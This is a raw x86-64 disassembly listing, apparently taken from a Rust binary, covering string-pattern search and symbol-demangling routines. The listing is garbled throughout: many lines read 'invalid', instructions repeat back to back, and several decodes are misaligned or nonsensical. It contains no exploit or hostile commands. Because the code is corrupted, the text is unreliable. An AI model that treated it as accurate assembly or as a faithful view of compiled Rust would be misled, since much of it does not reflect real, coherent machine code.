je 0x1a7f1b92eb1
nop word cs:[rax + rax]
invalid
cmp byte [rdx + r9], cl
je 0x1a7f1b92ed3
inc r9
inc ecx
cmp r8, r9
jne 0x1a7f1b92ea0
mov r9, r8
xor eax, eax
cmp rax, 1
je 0x1a7f1b92ef0
jmp case.0x1a7f1b5b061.423
call fcn.1a7f1b6e5b0
mov r9, rdx
cmp rax, 1
je 0x1a7f1b92ef0
jmp case.0x1a7f1b5b061.423
invalid
mov eax, 1
cmp rax, 1
cmp eax, 1
cmp eax, 1
jne case.0x1a7f1b5b061.423
nop word cs:[rax + rax]
add byte [rbp + 1], cl
iretd
add r15, r9
inc r15
mov qword [rdi + 0x10], r15
cmp r15, rbx
jb 0x1a7f1b92e70
invalid
invalid
invalid
cmp r15, rbp
ja 0x1a7f1b92e70
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov edx, 4
mov rcx, rbx
call fcn.1a7f1c2fbe0
ud2
lea rdx, [rsi + r15]
mov r8, r12
mov eax, esp
mov eax, esp
sub r8, r15
jb 0x1a7f1b92ff7
movzx ecx, byte [r14 + rbx - 1]
cmp r8, 0x10
jae 0x1a7f1b92f80
dec dword [rcx - 0x7d]
clc
adc byte [rbx + 0x34], dh
xor r9d, r9d
test r8, r8
je 0x1a7f1b92f71
nop word cs:[rax + rax]
add byte [rax], al
cmp byte [rdx + r9], cl
je 0x1a7f1b92f90
inc r9
cmp r8, r9
jne 0x1a7f1b92f60
mov r9, r8
xor eax, eax
cmp rax, 1
je 0x1a7f1b92fa0
jmp case.0x1a7f1b5b061.423
call fcn.1a7f1b6e5b0
mov r9, rdx
cmp rax, 1
je 0x1a7f1b92fa0
sub esi, dword [rsi - 0x76b60003]
ror dword [rax - 0x7d], 1
clc
add dword [rdx + rdx - 0x15], esi
pop rdx
jmp case.0x1a7f1b5b061.423
mov eax, 1
add dword [rax], eax
add byte [rax], al
cmp rax, 1
jne case.0x1a7f1b5b061.423
nop dword [rax + rax]
add r15, r9
inc r15
mov qword [rdi + 0x10], r15
mov r13, r15
sub r13, rbx
jb 0x1a7f1b92f30
invalid
jp 0x1a7f1b92fb3
invalid
invalid
invalid
cmp r15, rbp
ja 0x1a7f1b92f30
jno 0x1a7f1b92fbc
invalid
invalid
lea rcx, [rsi + r13]
or al, 0x2e
mov rdx, r14
mov r8, rbx
call fcn.1a7f1c22bb0
test eax, eax
jne 0x1a7f1b92f30
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], r15
jns case.0x1a7f1b7b608.102
jns case.0x1a7f1b7b608.102
mov eax, 1
jmp 0x1a7f1b92ffe
mov qword [rdi + 0x10], r12
xor eax, eax
mov rcx, qword [rsp + 0x20]
and al, 0x20
and al, 0x20
jmp 0x1a7f1b92ffe
mov rcx, qword [rsp + 0x20]
xor eax, eax
mov qword [rcx], rax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, rdx
mov qword [rsp + 0x40], rcx
lea rcx, [0x1a7f1c58a10]
lea ecx, [0x1a7f1c58a10]
lea ecx, [0x1a7f1c58a10]
mov qword [rsp + 0x30], rcx
and al, 0x30
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 4
add byte [rax], al
and al, 0x20
add al, 0
add byte [rax], al
lea rdx, [0x1a7f1c58a03]
lea r9, str.kind
lea ecx, str.kind
lea ecx, str.kind
mov r8d, 0xd
mov rcx, rax
call fcn.1a7f1b6d100
std
call qword [rax + 0x48c48348]
std
call qword [rax + 0x48c48348]
ret
imul esp, dword [rax + 0xc], 0
mov r8, qword [rcx + rax*8]
lea rcx, [0x1a7f1c59110]
movsxd rax, dword [rcx + rax*4]
invalid
add al, 0x81
add rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
sbb byte [rax - 0x77], cl
ret 0xff49
jmp r9
jmp rcx
invalid
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
jmp rcx
int3
int3
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa0
mov rsi, rcx
invalid
mov rcx, qword [rcx]
invalid
mov ecx, dword [rcx]
test rcx, rcx
je 0x1a7f1b93582
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f5
jae 0x1a7f1b93155
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x1a7f1b93116.2
invalid
add byte [rcx + 0x1cb60fd5], cl
mov ebp, edx
movzx ebx, byte [rcx + rax]
mov dh, 0x1c
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lea ecx, [rbx - 0x42]
mov dh, 0x1c
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
invalid
invalid
lea ecx, [rbx - 0x42]
mov esi, 0x17f98341
cmp r9d, 0x17
cmp ecx, 0x17
ja case.0x1a7f1b93116.2
lea r10, [0x1a7f1c9e5f0]
lea edx, [0x1a7f1c9e5f0]
loope 0x1a7f1b930c1
adc byte [rax], al
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
cmp rdx, r8
jae 0x1a7f1b935c8
invalid
cmpsb byte [rsi], byte [rdi]
add al, 0
invalid
ret 0x830f
and dword [rsi - 0x7ffffffc], 0x3c
adc dword [rbx + 0xf], esi
add al, 0
add byte [rax + 0xf73113c], al
cmp byte [rcx + rdx], 0x73
jne 0x1a7f1b935c8
test dword [rsp + rax - 0x72b40000], ebx
add cl, byte [rcx + rcx*4 + 0x4e]
adc byte [rbp + 0x39], cl
ror dword [rdi], 0x83
cmp byte [rdx], al
add byte [rax], al
lea r9, [rax + 2]
lea ecx, [rax + 2]
mov qword [rsi + 0x10], r9
cmp r9, r8
jae 0x1a7f1b93375
cmp byte [rcx + r9], 0x5f
pop rdi
jne 0x1a7f1b93375
add rax, 3
mov qword [rsi + 0x10], rax
jmp 0x1a7f1b935c8
jae 0x1a7f1b93157
add byte [rax], al
jae 0x1a7f1b93157
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je case.0x1a7f1b92a3e.4
lea rdx, [0x1a7f1c58f68]
mov r8d, 0x19
add ebx, dword [rsi + 0xc]
add byte [rcx - 0x48], al
sbb dword [rax], eax
add byte [rax], al
call fcn.1a7f1b68510
mov dil, 1
mov bh, 1
test al, al
jne 0x1a7f1b936ad
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x1a7f1b936ab
mov rcx, rsi
int1
mov edx, ebp
call fcn.1a7f1b93830
mov dil, 1
jmp 0x1a7f1b9366f
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1a7f1b939d0
add byte [rax + 0x30247c], al
add byte [rax + 0x30247c], al
je 0x1a7f1b933df
movzx ebx, byte [rsp + 0x31]
pop rsp
and al, 0x31
mov rcx, qword [rsi + 0x20]
test bl, bl
je 0x1a7f1b934bc
test rcx, rcx
test ecx, ecx
je 0x1a7f1b934de
lea rdx, [0x1a7f1c58f68]
adc eax, 0xc5d92
mov r8d, 0x19
mov eax, 0x19
add byte [rax], al
add cl, ch
in eax, dx
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
jmp 0x1a7f1b934ce
mov rcx, rsi
mov edx, ebp
call fcn.1a7f1b930b0
mov dil, 1
test al, al
jne 0x1a7f1b936ad
invalid
invalid
test bpl, bpl
je 0x1a7f1b9321e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b9321e
lea rdx, [0x1a7f1c58b68]
or al, 0
mov r8d, 2
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b93241
lea rdx, [0x1a7f1c58c22]
mov r8d, 1
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rcx, rsi
call fcn.1a7f1b948a0
add byte [rax], al
add byte [rax], al
test rax, rax
jne 0x1a7f1b936ad
jmp 0x1a7f1b93654
add byte [rax], al
mov rcx, rsi
call fcn.1a7f1b94320
mov rbx, rax
test bl, 1
jne 0x1a7f1b9334a
mov rcx, rsi
mov edx, ebp
call fcn.1a7f1b930b0
invalid
invalid
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x42d850f], eax
add byte [rax], al
invalid
cmp qword [rsi], 0
je 0x1a7f1b93551
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1a7f1b939d0
cmp byte [rsp + 0x30], 0
jne 0x1a7f1b931b5
invalid
dec dword [rax - 0x7d]
add byte ds:[rdi], cl
test dh, dl
add al, byte [rax]
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x38
cmp qword [rsi], 0
je 0x1a7f1b93582
mov r14, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1a7f1b93aa0
cmp qword [rsp + 0x30], 0
and al, 0x30
add byte [rdi], cl
test byte [rbp + 2], bh
add byte [rax], al
and al, 0x30
add byte [rdi], cl
test byte [rbp + 2], bh
add byte [rax], al
shr rbx, 0x20
movups xmm0, xmmword [rsp + 0x30]
and al, 0x30
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
cmp ebx, 0x110000
jne 0x1a7f1b936bd
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
and al, 0x68
and al, 0x68
je 0x1a7f1b93673
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b93673
lea rdx, [0x1a7f1c58b68]
mov r8d, 2
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1a7f1b93673
invalid
add byte [rax - 0x73], cl
and al, 0x50
lea rcx, [rsp + 0x50]
call fcn.1a7f1b93cc0
jmp 0x1a7f1b9366f
mov rdi, qword [rsi + 0x20]
jmp 0x1a7f1b935ea
mov rcx, qword [rsi + 0x20]
and ebx, 0x100
jne 0x1a7f1b934ed
test rcx, rcx
je 0x1a7f1b9350f
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
jmp 0x1a7f1b934ff
xor eax, eax
mov r10d, 0x3e
cmp r9, r8
jae case.0x1a7f1b93116.2
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x1a7f1b935ae
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x1a7f1b933c1
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
jae 0x1a7f1b933ad
add dl, 0xa9
jmp 0x1a7f1b933be
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
jae case.0x1a7f1b93116.2
add dl, 0xe3
mov r11d, edx
inc r9
mov qword [rsi + 0x10], r9
mul r10
jo case.0x1a7f1b93116.2
movzx edx, r11b
add rax, rdx
jae 0x1a7f1b9337d
jmp case.0x1a7f1b93116.2
mov rax, qword [rsp + 0x38]
and al, 0x38
mov qword [rsp + 0x78], rax
cmp qword [rsi], 0
je 0x1a7f1b93521
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1a7f1b93aa0
cmp qword [rsp + 0x30], 0
je 0x1a7f1b93547
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1a7f1b93673
lea rcx, [rsp + 0x80]
call fcn.1a7f1b93cc0
mov dil, 1
test al, al
jne 0x1a7f1b936ad
mov rax, qword [rsi + 0x20]
test rax, rax
je 0x1a7f1b93673
test byte [rax + 0x34], 4
jne 0x1a7f1b93673
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1a7f1c8adc0]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x1a7f1b934b4
mov rdx, qword [rsi + 0x20]
lea rcx, [rsp + 0x78]
call fcn.1a7f1b6cc00
test al, al
jne 0x1a7f1b934b4
mov rax, qword [rsi + 0x20]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1a7f1c8adc1]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x1a7f1b93673
mov dil, 1
jmp 0x1a7f1b936ad
test rcx, rcx
je 0x1a7f1b934de
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
mov dil, 1
test al, al
jne 0x1a7f1b936ad
mov qword [rsi], 0
mov byte [rsi + 8], bl
pop rsi
or cl, ch
invalid
add dword [rax], eax
invalid
pop rsi
or cl, ch
mov esi, 0x48000001
test ecx, ecx
test rcx, rcx
je 0x1a7f1b9350f
lea rdx, [0x1a7f1c58f68]
mov r8d, 0x19
call fcn.1a7f1b68510
mov dil, 1
test al, al
jne 0x1a7f1b936ad
shr ebx, 8
mov qword [rsi], 0
add byte [rax], al
add byte [rax - 0x7516f7a2], cl
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x7516f7a2], cl
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
test ecx, ecx
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1a7f1b936ab
lea rdx, [0x1a7f1c8a2a0]
mov r8d, 1
call fcn.1a7f1b68510
mov edi, eax
jmp 0x1a7f1b936ad
invalid
add byte [rdi], cl
mov dh, 0x5c
and al, 0x38
movzx ebx, byte [rsp + 0x38]
jmp 0x1a7f1b931ba
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b936ab
lea rdx, [0x1a7f1c58b68]
mov r8d, 2
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
cmp qword [rsi], 0
jne 0x1a7f1b9328a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b936ab
lea rdx, [0x1a7f1c8a2a0]
mov r8d, 1
or ch, byte [rbp + 0xf]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
jmp fcn.1a7f1b68510
inc r9
mov qword [rsi + 0x10], r9
inc rax
je case.0x1a7f1b93116.2
cmp rax, 0xffffffffffffffff
je case.0x1a7f1b93116.2
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.1a7f1b930b0
test al, al
jne 0x1a7f1b937fe
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x1a7f1b9360f
invalid
and byte [rax - 0x73], cl
adc eax, 0xc562c
lea rdx, [0x1a7f1c58c22]
mov r8d, 1
mov rcx, rdi
stc
stc
call fcn.1a7f1b68510
mov dil, 1
test al, al
jne 0x1a7f1b936ad
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1a7f1b94370
mov dil, 1
test al, al
jne 0x1a7f1b936ad
cmp bl, 0x4d
je 0x1a7f1b93654
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b93646
lea rdx, [0x1a7f1c58f98]
mov r8d, 4
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rcx, rsi
xor edx, edx
call fcn.1a7f1b930b0
test al, al
jne 0x1a7f1b936ad
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b93673
lea rdx, [0x1a7f1c58c21]
mov r8d, 1
call fcn.1a7f1b68510
invalid
inc dword [rax + rax*8 - 0x7cb7c58b]
add byte ds:[rdx + rsi - 1], dh
sbb bl, r13b
sub eax, 0x204e8b48
mov rcx, qword [rsi + 0x20]
test al, al
jne 0x1a7f1b936ad
cmp qword [rsi], 0
je 0x1a7f1b936ab
dec dword [rsi + 0x18]
jmp 0x1a7f1b936ab
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b936a0
lea rdx, str.invalid_syntaxrecursion_limit_reachedfor_____::closureshim_as_mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.1a7f1b68510
mov dil, 1
test al, al
jne 0x1a7f1b936ad
mov qword [rsi], 0
mov byte [rsi + 8], 0
xor edi, edi
mov eax, edi
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b936dc
lea rdx, [0x1a7f1c58f89]
mov r8d, 3
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
cmp ebx, 0x43
je 0x1a7f1b936fe
cmp ebx, 0x53
jne 0x1a7f1b9371b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b9373a
lea rdx, [0x1a7f1c58f93]
mov r8d, 4
jmp 0x1a7f1b93714
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b9373a
lea rdx, [0x1a7f1c58f8c]
mov r8d, 7
call fcn.1a7f1b68510
jmp 0x1a7f1b93732
mov rdx, qword [rsi + 0x20]
mov dword [rsp + 0x30], ebx
test rdx, rdx
je 0x1a7f1b9373a
lea rcx, [rsp + 0x30]
call fcn.1a7f1b6e4c0
test al, al
jne 0x1a7f1b936ad
mov rax, qword [rsp + 0x58]
or rax, qword [rsp + 0x68]
mov rcx, qword [rsi + 0x20]
jne 0x1a7f1b937aa
test rcx, rcx
je 0x1a7f1b93673
lea rdx, [0x1a7f1c58f97]
mov r8d, 1
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rdx, qword [rsi + 0x20]
mov qword [rsp + 0x30], r14
test rdx, rdx
je 0x1a7f1b93673
lea rcx, [rsp + 0x30]
call fcn.1a7f1b67cb0
test al, al
jne 0x1a7f1b936ad
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1a7f1b93673
lea rdx, [0x1a7f1c62073]
jmp 0x1a7f1b93664
test rcx, rcx
je 0x1a7f1b93673
lea rdx, [0x1a7f1c8adc2]
mov r8d, 1
call fcn.1a7f1b68510
test al, al
jne 0x1a7f1b936ad
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x1a7f1b93673
lea rcx, [rsp + 0x50]
call fcn.1a7f1b93cc0
test al, al
jne 0x1a7f1b936ad
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x1a7f1b93753
jmp 0x1a7f1b93673
lea rax, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1a7f1c58958]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.1a7f1c2ff90
ud2
or al, 0
mov qword [rsp + 0x20], rcx
mov rcx, r10
mov rdx, r9
mov r9, rax
call fcn.1a7f1c301d0
ud2
mov qword [rsp + 0x60], rsi
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x58], rax
movzx r8d, byte [rax]
mov rcx, qword [r12]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x90], rax
je 0x1a7f1b93e51
add rax, rcx
xor r12d, r12d
nop
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
js 0x1a7f1b93d70
inc rcx
cmp r12, 0x80
jne 0x1a7f1b93e10
jmp 0x1a7f1b94220
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x1a7f1b93dcf
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1a7f1b93deb
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
je 0x1a7f1b93e54
add rcx, 4
cmp r12, 0x80
jne 0x1a7f1b93e10
jmp 0x1a7f1b94220
add rcx, 2
shl r9d, 6
loope 0x1a7f1b93ddd
loope 0x1a7f1b93ddd
or r9d, esi
mov edx, r9d
cmp r12, 0x80
jne 0x1a7f1b93e10
jmp 0x1a7f1b94220
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
cmp r12, 0x80
je 0x1a7f1b94220
nop word cs:[rax + rax]
mov dword [rsp + r12*4 + 0x98], edx
inc r12
cmp rcx, rax
jne 0x1a7f1b93d40
jmp 0x1a7f1b93e54
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
xor r12d, r12d
mov rax, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
lea rax, [r12*4 + 4]
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
mov rax, r12
neg rax
mov qword [rsp + 0x50], rax
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
lea rax, [r12 + 1]
and al, 1
and al, 1
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
and byte [rax + 0x2bc], bh
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov r14d, 0x48
mov r15d, 0x80
mov r9d, 0x1a
add byte [rax], al
add byte [rax - 0x42], cl
pminsw mm4, qword [rax + 0xea0ea0e]
invalid
xor eax, eax
mov qword [rsp + 0x38], rax
xor ecx, ecx
add byte [rax], al
add byte [rax - 0x42], cl
pminsw mm4, qword [rax + 0xea0ea0e]
invalid
mov edx, 0x24
sub rdx, r14
mov eax, 0
cmovae rax, rdx
cmp rax, 1
adc rax, 0
adc eax, 0
adc eax, 0
cmp rax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x1a7f1b93f1d
lea edx, [r8 - 0x30]
cmp dl, 9
ja 0x1a7f1b94220
add r8b, 0xea
mov edx, r8d
inc rbx
movzx r9d, dl
cmp rax, r9
jbe 0x1a7f1b93f60
add rcx, r9
jb 0x1a7f1b94220
add byte [rax], al
add byte [rax], al
lea r13, [r12 + 1]
mov rax, rcx
or rax, r13
shr rax, 0x20
je 0x1a7f1b93ffb
mov rax, rcx
xor edx, edx
div r13
mov r10, rdx
mov edx, edx
mov edx, edx
jmp 0x1a7f1b94005
mov r8d, 0x24
sub r8, rax
mov r13d, 0x48
nop
mov rax, r13
sub rax, r14
mov r11d, 0
cmovae r11, rax
cmp r11, 1
cmp ebx, 1
cmp ebx, 1
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmp rbx, qword [rsp + 0x78]
fisttp word [r8 + 0x3b]
pop rsp
and al, 0x78
je 0x1a7f1b94220
movzx eax, byte [rbx]
lea edx, [rax - 0x61]
cmp dl, 0x1a
jb 0x1a7f1b93fb6
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x1a7f1b94220
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r8
jo 0x1a7f1b94220
add r9, rax
jb 0x1a7f1b94220
inc rbx
cmp r11, r10
ja 0x1a7f1b93f29
mov edx, 0x24
sub rdx, r11
add r13, 0x24
mov rax, r8
mov eax, eax
mov eax, eax
mul rdx
mov r8, rax
jno 0x1a7f1b93f70
jmp 0x1a7f1b94220
mov eax, ecx
xor edx, edx
div r13d
mov r10d, edx
add r15, rax
setb al
mov rdx, qword [rsp + 0x68]
push rsp
and al, 0x68
push rsp
and al, 0x68
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
mov rdx, r15
mov edx, edi
mov edx, edi
shr rdx, 0x20
jne 0x1a7f1b94220
test al, al
jne 0x1a7f1b94220
cmp r15d, 0x110000
je 0x1a7f1b94220
mov eax, r15d
xor eax, 0xd800
add eax, 0xfffff800
cmp eax, 0x10f7ff
ja 0x1a7f1b94220
cmp r12, 0x7f
ja 0x1a7f1b94220
cmp r12, r10
jbe 0x1a7f1b94090
mov eax, r12d
sub eax, r10d
test al, 3
mov rdi, qword [rsp + 0x38]
je 0x1a7f1b940e3
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
shr rax, 0x20
je 0x1a7f1b940a7
mov rax, rcx
xor edx, edx
div r8
jmp 0x1a7f1b940ae
invalid
cmp r10, 0x80
mov rdi, qword [rsp + 0x38]
jb 0x1a7f1b9411f
add byte [rax - 0x75], cl
jl 0x1a7f1b940bf
cmp byte [rdi], cl
invalid
jmp 0x1a7f1b94303
add byte [rcx + 0x41d231c8], cl
div eax
mov eax, ecx
xor edx, edx
div r8d
imul rax, qword [rsp + 0x48]
add rcx, rax
xor eax, eax
nop dword [rax]
add byte [rbx - 0x76037aac], cl
push rsp
test dword [rax], eax
mov edx, dword [rbp + rax*4 - 4]
mov dword [rbp + rax*4], edx
dec rax
mov edx, r12d
sub dl, cl
movzx edx, dl
and edx, 3
add rdx, rax
jne 0x1a7f1b940c0
sub rax, qword [rsp + 0x50]
mov r12, rax
mov rax, qword [rsp + 0x80]
add byte [rax], al
add rax, rdi
sub rax, r10
cmp rax, 3
jb 0x1a7f1b9411f
nop word [rax + rax]
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + r12*4 + 0x88]
movups xmmword [rsp + r12*4 + 0x8c], xmm0
lea rax, [r12 - 4]
mov r12, rax
cmp rax, r10
sal byte [rdi - 0x1f], 1
sal byte [rdi - 0x1f], 1
mov dword [rsp + r10*4 + 0x98], r15d
cmp rbx, qword [rsp + 0x78]
pop rsp
and al, 0x78
pop rsp
and al, 0x78
je 0x1a7f1b942c8
movzx r8d, byte [rbx]
mov rax, r9
shr rax, 0x20
mov r15, qword [rsp + 0x30]
and byte [rbx + rcx*4 + 0x7c], cl
and al, 0x30
je 0x1a7f1b94153
mov rax, r9
mov eax, ecx
xor edx, edx
div qword [rsp + 0x28]
and al, 0x28
and al, 0x28
mov r9, rax
jmp 0x1a7f1b9415f
mov eax, r9d
xor edx, edx
div dword [rsp + 0x28]
mov r9d, eax
mov r12, qword [rsp + 0x20]
mov rax, r9
or rax, r13
call 0x1a812a202b6
call 0x1a812a202b6
and byte [rbp + rcx + 0x4c], dh
mov eax, ecx
je 0x1a7f1b9417d
mov rax, r9
xor edx, edx
div r13
mov rcx, rax
jmp 0x1a7f1b94187
invalid
or al, byte [rcx + rcx*4 - 0x38]
mov eax, r9d
xor edx, edx
div r13d
mov ecx, eax
add rcx, r9
xor r11d, r11d
cmp rcx, 0x1c8
cmp ecx, 0x1c8
cmp ecx, 0x1c8
jb 0x1a7f1b941bd
mov r9, rcx
nop dword [rax]
mov rax, r9
mul rsi
mov rcx, rdx
shr rcx, 5
add r11, 0x24
cmp r9, 0x3e57
add byte [rax], al
add byte [rax], al
mov r9, rcx
ja 0x1a7f1b941a0
inc r10
lea eax, [rcx*4]
add byte [rax], al
add byte [rax], al
lea eax, [rax + rax*8]
add ecx, 0x26
xor edx, edx
div cx
movzx r14d, ax
add r14, r11
fimul word [rax - 1]
invalid
mov qword [rsp + 0x38], rdi
add r15, 4
mov qword [rsp + 0x30], r15
add rbp, 4
dec qword [rsp + 0x50]
dec qword [rsp + 0x48]
inc r12
inc esp
fimul word [rax - 1]
invalid
inc esp
mov qword [rsp + 0x20], r12
mov eax, 2
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x28], eax
sub byte [rbp - 0x77], cl
in al, dx
mov r12, r13
mov r15, qword [rsp + 0x68]
mov rcx, r10
rol dword [rcx - 0x47], 1
sbb al, byte [rax]
add byte [rax], al
rol dword [rcx - 0x47], 1
sbb al, byte [rax]
add byte [rax], al
mov ecx, 0x1a
jmp 0x1a7f1b93eda
mov rax, qword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov r14, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc4b38
cmp byte [rbx + 0xc], cl
invalid
sbb byte [rax - 0x73], cl
adc eax, 0xc4b38
cmp byte [rbx + 0xc], cl
invalid
cmp byte [rbx + 0xc], cl
add byte [rcx - 0x48], al
invalid
or dword [rax], eax
mov r8d, 9
mov eax, 9
add byte [rax], al
mov rcx, r14
int1
mov rsi, rax
call rax
mov bpl, 1
test al, al
jne 0x1a7f1b9429a
mov r8, qword [rsp + 0x90]
test r8, r8
je 0x1a7f1b94284
invalid
sub cl, byte [rcx + rcx*4 - 0xf]
mov rcx, r14
int1
mov rdx, qword [rsp + 0x88]
mov rdi, rsi
call rsi
test al, al
jne 0x1a7f1b9429a
and al, 0x88
add byte [rax], al
add byte [rax - 0x77], cl
idiv edi
invalid
lea rdx, [0x1a7f1c58d79]
mov r8d, 1
mov rcx, r14
call rdi
test al, al
jne 0x1a7f1b9429a
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x70]
mov rdi, rsi
call rsi
invalid
test al, al
je 0x1a7f1b942b0
invalid
mov eax, ebp
add rsp, 0x298
add byte [rbx + 0x5d], bl
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
lea rdx, [0x1a7f1c62073]
mov r8d, 1
mov rcx, r14
mov rax, rdi
jmp 0x1a7f1b93e3b
lea rsi, [rsp + 0x44]
